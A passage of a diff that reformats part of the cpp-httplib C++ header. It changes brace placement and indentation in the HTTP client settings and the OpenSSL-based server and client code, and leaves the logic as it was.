- const Headers &headers) { - Request req; - req.method = "OPTIONS"; - req.headers = headers; - req.path = path; + const Headers &headers) +{ + Request req; + req.method = "OPTIONS"; + req.headers = headers; + req.path = path; - return send_(std::move(req)); + return send_(std::move(req)); } -inline void ClientImpl::stop() { - std::lock_guard guard(socket_mutex_); +inline void ClientImpl::stop() +{ + std::lock_guard guard(socket_mutex_); - // If there is anything ongoing right now, the ONLY thread-safe thing we can - // do is to shutdown_socket, so that threads using this socket suddenly - // discover they can't read/write any more and error out. Everything else - // (closing the socket, shutting ssl down) is unsafe because these actions are - // not thread-safe. - if (socket_requests_in_flight_ > 0) { + // If there is anything ongoing right now, the ONLY thread-safe thing we can + // do is to shutdown_socket, so that threads using this socket suddenly + // discover they can't read/write any more and error out. Everything else + // (closing the socket, shutting ssl down) is unsafe because these actions are + // not thread-safe. + if (socket_requests_in_flight_ > 0) { + shutdown_socket(socket_); + + // Aside from that, we set a flag for the socket to be closed when we're + // done. + socket_should_be_closed_when_request_is_done_ = true; + return; + } + + // Otherwise, still holding the mutex, we can shut everything down ourselves + shutdown_ssl(socket_, true); shutdown_socket(socket_); - - // Aside from that, we set a flag for the socket to be closed when we're - // done. - socket_should_be_closed_when_request_is_done_ = true; - return; - } - - // Otherwise, still holding the mutex, we can shut everything down ourselves - shutdown_ssl(socket_, true); - shutdown_socket(socket_); - close_socket(socket_); + close_socket(socket_); } -inline std::string ClientImpl::host() const { return host_; } - -inline int ClientImpl::port() const { return port_; } - -inline size_t ClientImpl::is_socket_open() const { - std::lock_guard guard(socket_mutex_); - return socket_.is_open(); +inline std::string ClientImpl::host() const +{ + return host_; } -inline socket_t ClientImpl::socket() const { return socket_.sock; } - -inline void ClientImpl::set_connection_timeout(time_t sec, time_t usec) { - connection_timeout_sec_ = sec; - connection_timeout_usec_ = usec; +inline int ClientImpl::port() const +{ + return port_; } -inline void ClientImpl::set_read_timeout(time_t sec, time_t usec) { - read_timeout_sec_ = sec; - read_timeout_usec_ = usec; +inline size_t ClientImpl::is_socket_open() const +{ + std::lock_guard guard(socket_mutex_); + return socket_.is_open(); } -inline void ClientImpl::set_write_timeout(time_t sec, time_t usec) { - write_timeout_sec_ = sec; - write_timeout_usec_ = usec; +inline socket_t ClientImpl::socket() const +{ + return socket_.sock; +} + +inline void ClientImpl::set_connection_timeout(time_t sec, time_t usec) +{ + connection_timeout_sec_ = sec; + connection_timeout_usec_ = usec; +} + +inline void ClientImpl::set_read_timeout(time_t sec, time_t usec) +{ + read_timeout_sec_ = sec; + read_timeout_usec_ = usec; +} + +inline void ClientImpl::set_write_timeout(time_t sec, time_t usec) +{ + write_timeout_sec_ = sec; + write_timeout_usec_ = usec; } inline void ClientImpl::set_basic_auth(const std::string &username, - const std::string &password) { - basic_auth_username_ = username; - basic_auth_password_ = password; + const std::string &password) +{ + basic_auth_username_ = username; + basic_auth_password_ = password; } -inline void ClientImpl::set_bearer_token_auth(const std::string &token) { - bearer_token_auth_token_ = token; +inline void ClientImpl::set_bearer_token_auth(const std::string &token) +{ + bearer_token_auth_token_ = token; } #ifdef CPPHTTPLIB_OPENSSL_SUPPORT inline void ClientImpl::set_digest_auth(const std::string &username, - const std::string &password) { - digest_auth_username_ = username; - digest_auth_password_ = password; + const std::string &password) +{ + digest_auth_username_ = username; + digest_auth_password_ = password; } #endif -inline void ClientImpl::set_keep_alive(bool on) { keep_alive_ = on; } - -inline void ClientImpl::set_follow_location(bool on) { follow_location_ = on; } - -inline void ClientImpl::set_url_encode(bool on) { url_encode_ = on; } - -inline void -ClientImpl::set_hostname_addr_map(std::map addr_map) { - addr_map_ = std::move(addr_map); +inline void ClientImpl::set_keep_alive(bool on) +{ + keep_alive_ = on; } -inline void ClientImpl::set_default_headers(Headers headers) { - default_headers_ = std::move(headers); +inline void ClientImpl::set_follow_location(bool on) +{ + follow_location_ = on; +} + +inline void ClientImpl::set_url_encode(bool on) +{ + url_encode_ = on; +} + +inline void +ClientImpl::set_hostname_addr_map(std::map addr_map) +{ + addr_map_ = std::move(addr_map); +} + +inline void ClientImpl::set_default_headers(Headers headers) +{ + default_headers_ = std::move(headers); } inline void ClientImpl::set_header_writer( - std::function const &writer) { - header_writer_ = writer; + std::function const &writer) +{ + header_writer_ = writer; } -inline void ClientImpl::set_address_family(int family) { - address_family_ = family; +inline void ClientImpl::set_address_family(int family) +{ + address_family_ = family; } -inline void ClientImpl::set_tcp_nodelay(bool on) { tcp_nodelay_ = on; } - -inline void ClientImpl::set_socket_options(SocketOptions socket_options) { - socket_options_ = std::move(socket_options); +inline void ClientImpl::set_tcp_nodelay(bool on) +{ + tcp_nodelay_ = on; } -inline void ClientImpl::set_compress(bool on) { compress_ = on; } - -inline void ClientImpl::set_decompress(bool on) { decompress_ = on; } - -inline void ClientImpl::set_interface(const std::string &intf) { - interface_ = intf; +inline void ClientImpl::set_socket_options(SocketOptions socket_options) +{ + socket_options_ = std::move(socket_options); } -inline void ClientImpl::set_proxy(const std::string &host, int port) { - proxy_host_ = host; - proxy_port_ = port; +inline void ClientImpl::set_compress(bool on) +{ + compress_ = on; +} + +inline void ClientImpl::set_decompress(bool on) +{ + decompress_ = on; +} + +inline void ClientImpl::set_interface(const std::string &intf) +{ + interface_ = intf; +} + +inline void ClientImpl::set_proxy(const std::string &host, int port) +{ + proxy_host_ = host; + proxy_port_ = port; } inline void ClientImpl::set_proxy_basic_auth(const std::string &username, - const std::string &password) { - proxy_basic_auth_username_ = username; - proxy_basic_auth_password_ = password; + const std::string &password) +{ + proxy_basic_auth_username_ = username; + proxy_basic_auth_password_ = password; } -inline void ClientImpl::set_proxy_bearer_token_auth(const std::string &token) { - proxy_bearer_token_auth_token_ = token; +inline void ClientImpl::set_proxy_bearer_token_auth(const std::string &token) +{ + proxy_bearer_token_auth_token_ = token; } #ifdef CPPHTTPLIB_OPENSSL_SUPPORT inline void ClientImpl::set_proxy_digest_auth(const std::string &username, - const std::string &password) { - proxy_digest_auth_username_ = username; - proxy_digest_auth_password_ = password; + const std::string &password) +{ + proxy_digest_auth_username_ = username; + proxy_digest_auth_password_ = password; } inline void ClientImpl::set_ca_cert_path(const std::string &ca_cert_file_path, - const std::string &ca_cert_dir_path) { - ca_cert_file_path_ = ca_cert_file_path; - ca_cert_dir_path_ = ca_cert_dir_path; + const std::string &ca_cert_dir_path) +{ + ca_cert_file_path_ = ca_cert_file_path; + ca_cert_dir_path_ = ca_cert_dir_path; } -inline void ClientImpl::set_ca_cert_store(X509_STORE *ca_cert_store) { - if (ca_cert_store && ca_cert_store != ca_cert_store_) { - ca_cert_store_ = ca_cert_store; - } +inline void ClientImpl::set_ca_cert_store(X509_STORE *ca_cert_store) +{ + if (ca_cert_store && ca_cert_store != ca_cert_store_) { + ca_cert_store_ = ca_cert_store; + } } inline X509_STORE *ClientImpl::create_ca_cert_store(const char *ca_cert, - std::size_t size) const { - auto mem = BIO_new_mem_buf(ca_cert, static_cast(size)); - if (!mem) { return nullptr; } - - auto inf = PEM_X509_INFO_read_bio(mem, nullptr, nullptr, nullptr); - if (!inf) { - BIO_free_all(mem); - return nullptr; - } - - auto cts = X509_STORE_new(); - if (cts) { - for (auto i = 0; i < static_cast(sk_X509_INFO_num(inf)); i++) { - auto itmp = sk_X509_INFO_value(inf, i); - if (!itmp) { continue; } - - if (itmp->x509) { X509_STORE_add_cert(cts, itmp->x509); } - if (itmp->crl) { X509_STORE_add_crl(cts, itmp->crl); } + std::size_t size) const +{ + auto mem = BIO_new_mem_buf(ca_cert, static_cast(size)); + if (!mem) { + return nullptr; } - } - sk_X509_INFO_pop_free(inf, X509_INFO_free); - BIO_free_all(mem); - return cts; + auto inf = PEM_X509_INFO_read_bio(mem, nullptr, nullptr, nullptr); + if (!inf) { + BIO_free_all(mem); + return nullptr; + } + + auto cts = X509_STORE_new(); + if (cts) { + for (auto i = 0; i < static_cast(sk_X509_INFO_num(inf)); i++) { + auto itmp = sk_X509_INFO_value(inf, i); + if (!itmp) { + continue; + } + + if (itmp->x509) { + X509_STORE_add_cert(cts, itmp->x509); + } + if (itmp->crl) { + X509_STORE_add_crl(cts, itmp->crl); + } + } + } + + sk_X509_INFO_pop_free(inf, X509_INFO_free); + BIO_free_all(mem); + return cts; } -inline void ClientImpl::enable_server_certificate_verification(bool enabled) { - server_certificate_verification_ = enabled; +inline void ClientImpl::enable_server_certificate_verification(bool enabled) +{ + server_certificate_verification_ = enabled; } #endif -inline void ClientImpl::set_logger(Logger logger) { - logger_ = std::move(logger); +inline void ClientImpl::set_logger(Logger logger) +{ + logger_ = std::move(logger); } /* * SSL Implementation */ #ifdef CPPHTTPLIB_OPENSSL_SUPPORT -namespace detail { +namespace detail +{ template inline SSL *ssl_new(socket_t sock, SSL_CTX *ctx, std::mutex &ctx_mutex, - U SSL_connect_or_accept, V setup) { - SSL *ssl = nullptr; - { - std::lock_guard guard(ctx_mutex); - ssl = SSL_new(ctx); - } - - if (ssl) { - set_nonblocking(sock, true); - auto bio = BIO_new_socket(static_cast(sock), BIO_NOCLOSE); - BIO_set_nbio(bio, 1); - SSL_set_bio(ssl, bio, bio); - - if (!setup(ssl) || SSL_connect_or_accept(ssl) != 1) { - SSL_shutdown(ssl); - { + U SSL_connect_or_accept, V setup) +{ + SSL *ssl = nullptr; + { std::lock_guard guard(ctx_mutex); - SSL_free(ssl); - } - set_nonblocking(sock, false); - return nullptr; + ssl = SSL_new(ctx); } - BIO_set_nbio(bio, 0); - set_nonblocking(sock, false); - } - return ssl; + if (ssl) { + set_nonblocking(sock, true); + auto bio = BIO_new_socket(static_cast(sock), BIO_NOCLOSE); + BIO_set_nbio(bio, 1); + SSL_set_bio(ssl, bio, bio); + + if (!setup(ssl) || SSL_connect_or_accept(ssl) != 1) { + SSL_shutdown(ssl); + { + std::lock_guard guard(ctx_mutex); + SSL_free(ssl); + } + set_nonblocking(sock, false); + return nullptr; + } + BIO_set_nbio(bio, 0); + set_nonblocking(sock, false); + } + + return ssl; } inline void ssl_delete(std::mutex &ctx_mutex, SSL *ssl, - bool shutdown_gracefully) { - // sometimes we may want to skip this to try to avoid SIGPIPE if we know - // the remote has closed the network connection - // Note that it is not always possible to avoid SIGPIPE, this is merely a - // best-efforts. - if (shutdown_gracefully) { SSL_shutdown(ssl); } + bool shutdown_gracefully) +{ + // sometimes we may want to skip this to try to avoid SIGPIPE if we know + // the remote has closed the network connection + // Note that it is not always possible to avoid SIGPIPE, this is merely a + // best-efforts. + if (shutdown_gracefully) { + SSL_shutdown(ssl); + } - std::lock_guard guard(ctx_mutex); - SSL_free(ssl); + std::lock_guard guard(ctx_mutex); + SSL_free(ssl); } template bool ssl_connect_or_accept_nonblocking(socket_t sock, SSL *ssl, U ssl_connect_or_accept, time_t timeout_sec, - time_t timeout_usec) { - auto res = 0; - while ((res = ssl_connect_or_accept(ssl)) != 1) { - auto err = SSL_get_error(ssl, res); - switch (err) { - case SSL_ERROR_WANT_READ: - if (select_read(sock, timeout_sec, timeout_usec) > 0) { continue; } - break; - case SSL_ERROR_WANT_WRITE: - if (select_write(sock, timeout_sec, timeout_usec) > 0) { continue; } - break; - default: break; + time_t timeout_usec) +{ + auto res = 0; + while ((res = ssl_connect_or_accept(ssl)) != 1) { + auto err = SSL_get_error(ssl, res); + switch (err) { + case SSL_ERROR_WANT_READ: + if (select_read(sock, timeout_sec, timeout_usec) > 0) { + continue; + } + break; + case SSL_ERROR_WANT_WRITE: + if (select_write(sock, timeout_sec, timeout_usec) > 0) { + continue; + } + break; + default: + break; + } + return false; } - return false; - } - return true; + return true; } template @@ -8215,32 +9344,36 @@ inline bool process_server_socket_ssl( const std::atomic &svr_sock, SSL *ssl, socket_t sock, size_t keep_alive_max_count, time_t keep_alive_timeout_sec, time_t read_timeout_sec, time_t read_timeout_usec, time_t write_timeout_sec, - time_t write_timeout_usec, T callback) { - return process_server_socket_core( - svr_sock, sock, keep_alive_max_count, keep_alive_timeout_sec, - [&](bool close_connection, bool &connection_closed) { + time_t write_timeout_usec, T callback) +{ + return process_server_socket_core( + svr_sock, sock, keep_alive_max_count, keep_alive_timeout_sec, + [&](bool close_connection, bool &connection_closed) { SSLSocketStream strm(sock, ssl, read_timeout_sec, read_timeout_usec, write_timeout_sec, write_timeout_usec); return callback(strm, close_connection, connection_closed); - }); + }); } template inline bool process_client_socket_ssl(SSL *ssl, socket_t sock, time_t read_timeout_sec, time_t read_timeout_usec, time_t write_timeout_sec, - time_t write_timeout_usec, T callback) { - SSLSocketStream strm(sock, ssl, read_timeout_sec, read_timeout_usec, - write_timeout_sec, write_timeout_usec); - return callback(strm); + time_t write_timeout_usec, T callback) +{ + SSLSocketStream strm(sock, ssl, read_timeout_sec, read_timeout_usec, + write_timeout_sec, write_timeout_usec); + return callback(strm); } -class SSLInit { +class SSLInit +{ public: - SSLInit() { - OPENSSL_init_ssl( - OPENSSL_INIT_LOAD_SSL_STRINGS | OPENSSL_INIT_LOAD_CRYPTO_STRINGS, NULL); - } + SSLInit() + { + OPENSSL_init_ssl( + OPENSSL_INIT_LOAD_SSL_STRINGS | OPENSSL_INIT_LOAD_CRYPTO_STRINGS, NULL); + } }; // SSL socket stream implementation @@ -8252,95 +9385,109 @@ inline SSLSocketStream::SSLSocketStream(socket_t sock, SSL *ssl, : sock_(sock), ssl_(ssl), read_timeout_sec_(read_timeout_sec), read_timeout_usec_(read_timeout_usec), write_timeout_sec_(write_timeout_sec), - write_timeout_usec_(write_timeout_usec) { - SSL_clear_mode(ssl, SSL_MODE_AUTO_RETRY); + write_timeout_usec_(write_timeout_usec) +{ + SSL_clear_mode(ssl, SSL_MODE_AUTO_RETRY); } inline SSLSocketStream::~SSLSocketStream() = default; -inline bool SSLSocketStream::is_readable() const { - return detail::select_read(sock_, read_timeout_sec_, read_timeout_usec_) > 0; +inline bool SSLSocketStream::is_readable() const +{ + return detail::select_read(sock_, read_timeout_sec_, read_timeout_usec_) > 0; } -inline bool SSLSocketStream::is_writable() const { - return select_write(sock_, write_timeout_sec_, write_timeout_usec_) > 0 && - is_socket_alive(sock_); +inline bool SSLSocketStream::is_writable() const +{ + return select_write(sock_, write_timeout_sec_, write_timeout_usec_) > 0 && + is_socket_alive(sock_); } -inline ssize_t SSLSocketStream::read(char *ptr, size_t size) { - if (SSL_pending(ssl_) > 0) { - return SSL_read(ssl_, ptr, static_cast(size)); - } else if (is_readable()) { - auto ret = SSL_read(ssl_, ptr, static_cast(size)); - if (ret < 0) { - auto err = SSL_get_error(ssl_, ret); - auto n = 1000; +inline ssize_t SSLSocketStream::read(char *ptr, size_t size) +{ + if (SSL_pending(ssl_) > 0) { + return SSL_read(ssl_, ptr, static_cast(size)); + } else if (is_readable()) { + auto ret = SSL_read(ssl_, ptr, static_cast(size)); + if (ret < 0) { + auto err = SSL_get_error(ssl_, ret); + auto n = 1000; #ifdef _WIN32 - while (--n >= 0 && (err == SSL_ERROR_WANT_READ || - (err == SSL_ERROR_SYSCALL && - WSAGetLastError() == WSAETIMEDOUT))) { + while (--n >= 0 && (err == SSL_ERROR_WANT_READ || + (err == SSL_ERROR_SYSCALL && + WSAGetLastError() == WSAETIMEDOUT))) { #else - while (--n >= 0 && err == SSL_ERROR_WANT_READ) { + while (--n >= 0 && err == SSL_ERROR_WANT_READ) { #endif - if (SSL_pending(ssl_) > 0) { - return SSL_read(ssl_, ptr, static_cast(size)); - } else if (is_readable()) { - std::this_thread::sleep_for(std::chrono::milliseconds(1)); - ret = SSL_read(ssl_, ptr, static_cast(size)); - if (ret >= 0) { return ret; } - err = SSL_get_error(ssl_, ret); - } else { - return -1; + if (SSL_pending(ssl_) > 0) { + return SSL_read(ssl_, ptr, static_cast(size)); + } else if (is_readable()) { + std::this_thread::sleep_for(std::chrono::milliseconds(1)); + ret = SSL_read(ssl_, ptr, static_cast(size)); + if (ret >= 0) { + return ret; + } + err = SSL_get_error(ssl_, ret); + } else { + return -1; + } + } } - } + return ret; } - return ret; - } - return -1; + return -1; } -inline ssize_t SSLSocketStream::write(const char *ptr, size_t size) { - if (is_writable()) { - auto handle_size = static_cast( - std::min(size, (std::numeric_limits::max)())); +inline ssize_t SSLSocketStream::write(const char *ptr, size_t size) +{ + if (is_writable()) { + auto handle_size = static_cast( + std::min(size, (std::numeric_limits::max)())); - auto ret = SSL_write(ssl_, ptr, static_cast(handle_size)); - if (ret < 0) { - auto err = SSL_get_error(ssl_, ret); - auto n = 1000; + auto ret = SSL_write(ssl_, ptr, static_cast(handle_size)); + if (ret < 0) { + auto err = SSL_get_error(ssl_, ret); + auto n = 1000; #ifdef _WIN32 - while (--n >= 0 && (err == SSL_ERROR_WANT_WRITE || - (err == SSL_ERROR_SYSCALL && - WSAGetLastError() == WSAETIMEDOUT))) { + while (--n >= 0 && (err == SSL_ERROR_WANT_WRITE || + (err == SSL_ERROR_SYSCALL && + WSAGetLastError() == WSAETIMEDOUT))) { #else - while (--n >= 0 && err == SSL_ERROR_WANT_WRITE) { + while (--n >= 0 && err == SSL_ERROR_WANT_WRITE) { #endif - if (is_writable()) { - std::this_thread::sleep_for(std::chrono::milliseconds(1)); - ret = SSL_write(ssl_, ptr, static_cast(handle_size)); - if (ret >= 0) { return ret; } - err = SSL_get_error(ssl_, ret); - } else { - return -1; + if (is_writable()) { + std::this_thread::sleep_for(std::chrono::milliseconds(1)); + ret = SSL_write(ssl_, ptr, static_cast(handle_size)); + if (ret >= 0) { + return ret; + } + err = SSL_get_error(ssl_, ret); + } else { + return -1; + } + } } - } + return ret; } - return ret; - } - return -1; + return -1; } inline void SSLSocketStream::get_remote_ip_and_port(std::string &ip, - int &port) const { - detail::get_remote_ip_and_port(sock_, ip, port); + int &port) const +{ + detail::get_remote_ip_and_port(sock_, ip, port); } inline void SSLSocketStream::get_local_ip_and_port(std::string &ip, - int &port) const { - detail::get_local_ip_and_port(sock_, ip, port); + int &port) const +{ + detail::get_local_ip_and_port(sock_, ip, port); } -inline socket_t SSLSocketStream::socket() const { return sock_; } +inline socket_t SSLSocketStream::socket() const +{ + return sock_; +} static SSLInit sslinit_; @@ -8350,111 +9497,128 @@ static SSLInit sslinit_; inline SSLServer::SSLServer(const char *cert_path, const char *private_key_path, const char *client_ca_cert_file_path, const char *client_ca_cert_dir_path, - const char *private_key_password) { - ctx_ = SSL_CTX_new(TLS_server_method()); + const char *private_key_password) +{ + ctx_ = SSL_CTX_new(TLS_server_method()); - if (ctx_) { - SSL_CTX_set_options(ctx_, - SSL_OP_NO_COMPRESSION | + if (ctx_) { + SSL_CTX_set_options(ctx_, + SSL_OP_NO_COMPRESSION | SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION); - SSL_CTX_set_min_proto_version(ctx_, TLS1_1_VERSION); + SSL_CTX_set_min_proto_version(ctx_, TLS1_1_VERSION); - // add default password callback before opening encrypted private key - if (private_key_password != nullptr && (private_key_password[0] != '\0')) { - SSL_CTX_set_default_passwd_cb_userdata( - ctx_, - reinterpret_cast(const_cast(private_key_password))); - } + // add default password callback before opening encrypted private key + if (private_key_password != nullptr && (private_key_password[0] != '\0')) { + SSL_CTX_set_default_passwd_cb_userdata( + ctx_, + reinterpret_cast(const_cast(private_key_password))); + } - if (SSL_CTX_use_certificate_chain_file(ctx_, cert_path) != 1 || - SSL_CTX_use_PrivateKey_file(ctx_, private_key_path, SSL_FILETYPE_PEM) != + if (SSL_CTX_use_certificate_chain_file(ctx_, cert_path) != 1 || + SSL_CTX_use_PrivateKey_file(ctx_, private_key_path, SSL_FILETYPE_PEM) != 1) { - SSL_CTX_free(ctx_); - ctx_ = nullptr; - } else if (client_ca_cert_file_path || client_ca_cert_dir_path) { - SSL_CTX_load_verify_locations(ctx_, client_ca_cert_file_path, - client_ca_cert_dir_path); + SSL_CTX_free(ctx_); + ctx_ = nullptr; + } else if (client_ca_cert_file_path || client_ca_cert_dir_path) { + SSL_CTX_load_verify_locations(ctx_, client_ca_cert_file_path, + client_ca_cert_dir_path); - SSL_CTX_set_verify( - ctx_, SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT, nullptr); + SSL_CTX_set_verify( + ctx_, SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT, nullptr); + } } - } } inline SSLServer::SSLServer(X509 *cert, EVP_PKEY *private_key, - X509_STORE *client_ca_cert_store) { - ctx_ = SSL_CTX_new(TLS_server_method()); + X509_STORE *client_ca_cert_store) +{ + ctx_ = SSL_CTX_new(TLS_server_method()); - if (ctx_) { - SSL_CTX_set_options(ctx_, - SSL_OP_NO_COMPRESSION | + if (ctx_) { + SSL_CTX_set_options(ctx_, + SSL_OP_NO_COMPRESSION | SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION); - SSL_CTX_set_min_proto_version(ctx_, TLS1_1_VERSION); + SSL_CTX_set_min_proto_version(ctx_, TLS1_1_VERSION); - if (SSL_CTX_use_certificate(ctx_, cert) != 1 || - SSL_CTX_use_PrivateKey(ctx_, private_key) != 1) { - SSL_CTX_free(ctx_); - ctx_ = nullptr; - } else if (client_ca_cert_store) { - SSL_CTX_set_cert_store(ctx_, client_ca_cert_store); + if (SSL_CTX_use_certificate(ctx_, cert) != 1 || + SSL_CTX_use_PrivateKey(ctx_, private_key) != 1) { + SSL_CTX_free(ctx_); + ctx_ = nullptr; + } else if (client_ca_cert_store) { + SSL_CTX_set_cert_store(ctx_, client_ca_cert_store); - SSL_CTX_set_verify( - ctx_, SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT, nullptr); + SSL_CTX_set_verify( + ctx_, SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT, nullptr); + } } - } } inline SSLServer::SSLServer( - const std::function &setup_ssl_ctx_callback) { - ctx_ = SSL_CTX_new(TLS_method()); - if (ctx_) { - if (!setup_ssl_ctx_callback(*ctx_)) { - SSL_CTX_free(ctx_); - ctx_ = nullptr; + const std::function &setup_ssl_ctx_callback) +{ + ctx_ = SSL_CTX_new(TLS_method()); + if (ctx_) { + if (!setup_ssl_ctx_callback(*ctx_)) { + SSL_CTX_free(ctx_); + ctx_ = nullptr; + } } - } } -inline SSLServer::~SSLServer() { - if (ctx_) { SSL_CTX_free(ctx_); } +inline SSLServer::~SSLServer() +{ + if (ctx_) { + SSL_CTX_free(ctx_); + } } -inline bool SSLServer::is_valid() const { return ctx_; } +inline bool SSLServer::is_valid() const +{ + return ctx_; +} -inline SSL_CTX *SSLServer::ssl_context() const { return ctx_; } +inline SSL_CTX *SSLServer::ssl_context() const +{ + return ctx_; +} -inline bool SSLServer::process_and_close_socket(socket_t sock) { - auto ssl = detail::ssl_new( - sock, ctx_, ctx_mutex_, - [&](SSL *ssl2) { +inline bool SSLServer::process_and_close_socket(socket_t sock) +{ + auto ssl = detail::ssl_new( + sock, ctx_, ctx_mutex_, + [&](SSL *ssl2) { return detail::ssl_connect_or_accept_nonblocking( - sock, ssl2, SSL_accept, read_timeout_sec_, read_timeout_usec_); - }, - [](SSL * /*ssl2*/) { return true; }); + sock, ssl2, SSL_accept, read_timeout_sec_, read_timeout_usec_); + }, + [](SSL * /*ssl2*/) { + return true; + }); - auto ret = false; - if (ssl) { - ret = detail::process_server_socket_ssl( - svr_sock_, ssl, sock, keep_alive_max_count_, keep_alive_timeout_sec_, - read_timeout_sec_, read_timeout_usec_, write_timeout_sec_, - write_timeout_usec_, - [this, ssl](Stream &strm, bool close_connection, - bool &connection_closed) { - return process_request(strm, close_connection, connection_closed, - [&](Request &req) { req.ssl = ssl; }); + auto ret = false; + if (ssl) { + ret = detail::process_server_socket_ssl( + svr_sock_, ssl, sock, keep_alive_max_count_, keep_alive_timeout_sec_, + read_timeout_sec_, read_timeout_usec_, write_timeout_sec_, + write_timeout_usec_, + [this, ssl](Stream &strm, bool close_connection, + bool &connection_closed) { + return process_request(strm, close_connection, connection_closed, + [&](Request &req) { + req.ssl = ssl; + }); }); - // Shutdown gracefully if the result seemed successful, non-gracefully if - // the connection appeared to be closed. - const bool shutdown_gracefully = ret; - detail::ssl_delete(ctx_mutex_, ssl, shutdown_gracefully); - } + // Shutdown gracefully if the result seemed successful, non-gracefully if + // the connection appeared to be closed. + const bool shutdown_gracefully = ret; + detail::ssl_delete(ctx_mutex_, ssl, shutdown_gracefully); + } - detail::shutdown_socket(sock); - detail::close_socket(sock); - return ret; + detail::shutdown_socket(sock); + detail::close_socket(sock); + return ret; } // SSL HTTP client implementation @@ -8467,399 +9631,439 @@ inline SSLClient::SSLClient(const std::string &host, int port) inline SSLClient::SSLClient(const std::string &host, int port, const std::string &client_cert_path, const std::string &client_key_path) - : ClientImpl(host, port, client_cert_path, client_key_path) { - ctx_ = SSL_CTX_new(TLS_client_method()); + : ClientImpl(host, port, client_cert_path, client_key_path) +{ + ctx_ = SSL_CTX_new(TLS_client_method()); - detail::split(&host_[0], &host_[host_.size()], '.', - [&](const char *b, const char *e) { - host_components_.emplace_back(b, e); - }); + detail::split(&host_[0], &host_[host_.size()], '.', + [&](const char *b, const char *e) { + host_components_.emplace_back(b, e); + }); - if (!client_cert_path.empty() && !client_key_path.empty()) { - if (SSL_CTX_use_certificate_file(ctx_, client_cert_path.c_str(), - SSL_FILETYPE_PEM) != 1 || - SSL_CTX_use_PrivateKey_file(ctx_, client_key_path.c_str(), - SSL_FILETYPE_PEM) != 1) { - SSL_CTX_free(ctx_); - ctx_ = nullptr; + if (!client_cert_path.empty() && !client_key_path.empty()) { + if (SSL_CTX_use_certificate_file(ctx_, client_cert_path.c_str(), + SSL_FILETYPE_PEM) != 1 || + SSL_CTX_use_PrivateKey_file(ctx_, client_key_path.c_str(), + SSL_FILETYPE_PEM) != 1) { + SSL_CTX_free(ctx_); + ctx_ = nullptr; + } } - } } inline SSLClient::SSLClient(const std::string &host, int port, X509 *client_cert, EVP_PKEY *client_key) - : ClientImpl(host, port) { - ctx_ = SSL_CTX_new(TLS_client_method()); + : ClientImpl(host, port) +{ + ctx_ = SSL_CTX_new(TLS_client_method()); - detail::split(&host_[0], &host_[host_.size()], '.', - [&](const char *b, const char *e) { - host_components_.emplace_back(b, e); - }); + detail::split(&host_[0], &host_[host_.size()], '.', + [&](const char *b, const char *e) { + host_components_.emplace_back(b, e); + }); - if (client_cert != nullptr && client_key != nullptr) { - if (SSL_CTX_use_certificate(ctx_, client_cert) != 1 || - SSL_CTX_use_PrivateKey(ctx_, client_key) != 1) { - SSL_CTX_free(ctx_); - ctx_ = nullptr; + if (client_cert != nullptr && client_key != nullptr) { + if (SSL_CTX_use_certificate(ctx_, client_cert) != 1 || + SSL_CTX_use_PrivateKey(ctx_, client_key) != 1) { + SSL_CTX_free(ctx_); + ctx_ = nullptr; + } } - } } -inline SSLClient::~SSLClient() { - if (ctx_) { SSL_CTX_free(ctx_); } - // Make sure to shut down SSL since shutdown_ssl will resolve to the - // base function rather than the derived function once we get to the - // base class destructor, and won't free the SSL (causing a leak). - shutdown_ssl_impl(socket_, true); -} - -inline bool SSLClient::is_valid() const { return ctx_; } - -inline void SSLClient::set_ca_cert_store(X509_STORE *ca_cert_store) { - if (ca_cert_store) { +inline SSLClient::~SSLClient() +{ if (ctx_) { - if (SSL_CTX_get_cert_store(ctx_) != ca_cert_store) { - // Free memory allocated for old cert and use new store `ca_cert_store` - SSL_CTX_set_cert_store(ctx_, ca_cert_store); - } - } else { - X509_STORE_free(ca_cert_store); + SSL_CTX_free(ctx_); + } + // Make sure to shut down SSL since shutdown_ssl will resolve to the + // base function rather than the derived function once we get to the + // base class destructor, and won't free the SSL (causing a leak). + shutdown_ssl_impl(socket_, true); +} + +inline bool SSLClient::is_valid() const +{ + return ctx_; +} + +inline void SSLClient::set_ca_cert_store(X509_STORE *ca_cert_store) +{ + if (ca_cert_store) { + if (ctx_) { + if (SSL_CTX_get_cert_store(ctx_) != ca_cert_store) { + // Free memory allocated for old cert and use new store `ca_cert_store` + SSL_CTX_set_cert_store(ctx_, ca_cert_store); + } + } else { + X509_STORE_free(ca_cert_store); + } } - } } inline void SSLClient::load_ca_cert_store(const char *ca_cert, - std::size_t size) { - set_ca_cert_store(ClientImpl::create_ca_cert_store(ca_cert, size)); + std::size_t size) +{ + set_ca_cert_store(ClientImpl::create_ca_cert_store(ca_cert, size)); } -inline long SSLClient::get_openssl_verify_result() const { - return verify_result_; +inline long SSLClient::get_openssl_verify_result() const +{ + return verify_result_; } -inline SSL_CTX *SSLClient::ssl_context() const { return ctx_; } +inline SSL_CTX *SSLClient::ssl_context() const +{ + return ctx_; +} -inline bool SSLClient::create_and_connect_socket(Socket &socket, Error &error) { - return is_valid() && ClientImpl::create_and_connect_socket(socket, error); +inline bool SSLClient::create_and_connect_socket(Socket &socket, Error &error) +{ + return is_valid() && ClientImpl::create_and_connect_socket(socket, error); } // Assumes that socket_mutex_ is locked and that there are no requests in flight inline bool SSLClient::connect_with_proxy(Socket &socket, Response &res, - bool &success, Error &error) { - success = true; - Response proxy_res; - if (!detail::process_client_socket( - socket.sock, read_timeout_sec_, read_timeout_usec_, - write_timeout_sec_, write_timeout_usec_, [&](Stream &strm) { - Request req2; - req2.method = "CONNECT"; - req2.path = host_and_port_; - return process_request(strm, req2, proxy_res, false, error); - })) { - // Thread-safe to close everything because we are assuming there are no - // requests in flight - shutdown_ssl(socket, true); - shutdown_socket(socket); - close_socket(socket); - success = false; - return false; - } - - if (proxy_res.status == StatusCode::ProxyAuthenticationRequired_407) { - if (!proxy_digest_auth_username_.empty() && - !proxy_digest_auth_password_.empty()) { - std::map auth; - if (detail::parse_www_authenticate(proxy_res, auth, true)) { - proxy_res = Response(); - if (!detail::process_client_socket( - socket.sock, read_timeout_sec_, read_timeout_usec_, - write_timeout_sec_, write_timeout_usec_, 